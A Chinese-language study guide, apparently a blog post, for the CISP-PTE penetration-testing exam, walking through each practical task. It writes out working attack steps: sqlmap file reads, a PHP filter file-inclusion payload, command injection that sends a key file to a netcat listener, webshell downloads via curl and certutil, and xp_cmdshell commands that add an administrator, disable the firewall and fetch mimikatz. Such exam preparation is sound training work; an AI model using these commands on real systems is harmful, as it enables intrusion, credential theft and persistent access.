CISP-PTE认证考试要点总结

CISP-PTE是国家认证的渗透测试工程师,考试内容还算全面,主要以基础入门为主,跟其他考试相比更注重实际操作。

考试满分100分,70分合格,题型主要包括理论题20分,实操题80分,换句话说,只要实操题做对了就能合格。

由于理论题范围较广,靠的是知识积累,建议随缘看着选,我们的重点主要放在实操题。而且实操题的类型比较固定,可以熟记套路便可通过考试,非常适合基础较差但想快速拿证的群体。

实操题的目标是让你获取试题中的key值,每个key10分。

5个基础题,每个基础题有1个key,共计50分。

1个综合题,3个key,共计30分。

接下来进入题目解析。

基础题1:sql注入

sql注入主要考察的不是你手工注入能力,而是sqlmap的使用能力和熟悉程度。一般来说,题干中会过滤空格,括号,union等常见注入参数。这就需要用到sqlmap的tamper功能。

常用tamper脚本类型如下:

space2comment.py  可将空格替换成/**/进行绕过

randomcase.py 随机大小写

between.py 用between替换>

主要就这3种,其他的脚本说明都可在网上查找,考试的时候一般只用space2comment.py 就可以了。

注入指令为:python sqlmap.py -u "url" -p id --dbms mysql --level 3 --risk 3 --tamper tamper/space2comment.py 

注入成功后:python sqlmap.py -u "url" -p id --dbms mysql --level 3 --risk 3 --tamper tamper/space2comment.py -D 数据库名 --file-read “题干中要求的key的路径”

 

基础题2:文件上传

文件上传套路挺多的,主要考察对burpsuite的运用。如何熟练的抓包改包,以及发现上传路径。

注意的点主要是mimetype的修改和对php3,php4,php5,phtml的使用。

 

基础题3:文件包含

这道题主要考察对php伪协议的使用。

在文件包含位置输入:file=php:filter//read=convert.base64-encode/resource=../key.php

对所读文件进行base64编码,获得编码值后解密即可。

 

基础题4:命令执行

一般来说,命令执行只需要手动cat key.php就行。但是题目中会把这类查看命令屏蔽,所以这道题解题思路就是找到能绕过屏蔽的办法。

思路1:利用nc转发,将key.php从目标机转发至本地端口打印进行读取。

           考试环境中会提供nc工具,那么cmd直接cd到nc目录下,输入:nc -lvvv -p 9999,l表示监听,v表示打印篇幅,p表示监听端口

            然后在题目上进行命令执行:|nc 本机ip 9999 < ../key.php  ,就能在上面的cmd中获取到key的信息。

思路2:利用curl在目标机中植入木马,连上木马后即可在目标机目录内找到key。

本机建立http站点:python -m SimperHTTPServer 默认端口8000

目标机从本机下载木马:curl -o 1.php http://本机ip:8000/1.php

 然后用菜刀连接就行了。

 

基础题5:日志审计

这个题说实话比较弱智,而且非常简单。就是给你一份web日志,让你发现攻击者的访问路径,从而通过这个路径找到key。

解题思路首先需要过滤非http 200的请求,因为既然访问成功那必然返回会是200。

在200的清单里面找寻关键字,admin,login,manage,system等,同时还结合请求,如果存在连续大规模的post请求后有一个get请求,那么很可能就表示攻击者在提交正确表单后登陆了新的页面。

追踪此访问路径即可获得key。如果页面需要登陆,那么你可能还需要burp进行暴力破解。

 

综合题

综合题一般是一个winserver+.net+mssql的环境。题目不会告诉你具体访问口,这需要你用nmap扫描。扫到正确端口后再用御剑进行目录扫描。

这时候你应该会获得一些信息,会有登陆页面,或者一些报错的页面。登陆页面直接使用暴力破解,如果不能破解,那么去看报错的页面,页面中会给出file=的关键变量。

可通过file=../../../的方式尝试读取aspx的配置文件web.config,因为是考试,所以你一定能找到。读取配置文件后根据文件中内容可获得mssql的账户,然后连接mssql即可获得网站登陆账号,进去后获得第一个key1。

进入后台,直接找到文件管理的地方,尝试上传shell,这里考题中会给出上传规则,比如文件名截断,你就可以根据此条规则构造上传名,比如上传名为1234567.jpg,服务器只允许7个字符,那么.jpg就被截断了,那么我们构造12.aspx.jpg,上传后就会成功变成12.aspx,然后找到路径用菜刀连上可获得key2。这里说一下就是找路径的方法,可根据报错信息以及上传文件名还有试题中给出的范例进行拼接。

如果你成功做到这一步,那么恭喜你已经获得70分合格了,可以直接交卷了。第三个key算是一个小考验,不过也是很套路。

因为这是在考试,所以在前面的过程中你一定会发现mssql的sa账号,然后用sa登陆进行xp_cmdshell的操作。常见的操作有:

sp_configure 'show advanced options',1; (记得reconfigure) 

sp_configure 'xp_cmdshell',1;(记得reconfigure)启用xp_cmdshell

exec xp_cmdshell 'dir c:\ /s /b |findstr "key"|findstr "txt"'; 找到key的位置

exec xp_cmdshell 'type key位置"'; 直接读key内容,不过一般不会让你有直接读的权限

exec xp_cmdshell 'cacls c:\ /s /b |findstr "key"|findstr "txt" /E /G adminstrator:F'; 改变文件操作权限,F是所有权限,改变权限后再读就能成功

exec xp_cmdshell 'certutil -urlcache -f -split http://本机:8000/3389.exe'; 这里的certutil的方式与基础题4中的curl思路相同,可参考。这里上传的是开启3389的工具。

exec xp_cmdshell 'net user username password /add';exec xp_cmdshell 'net localgroup administrators username /add';创建账户

exec xp_cmdshell 'netsh firewall set opmode disable'; 如果目标开了防火墙,那么即使开启3389端口也无法连接,这条命令用于关闭防火墙。

exec xp_cmdshell 'certutil -urlcache -f -split http://本机:8000/mimikazts.exe';如果不能建立账户,那么需要工具去破解系统账户的密码。这里使用的mimikazts。

综上所述,其实整个考试比较轻松,掌握好套路即可过关。但是在实战中还是要了解各个漏洞原理,才能运用自如。

 

你可能感兴趣的:(CISP-PTE,CISP-PTE)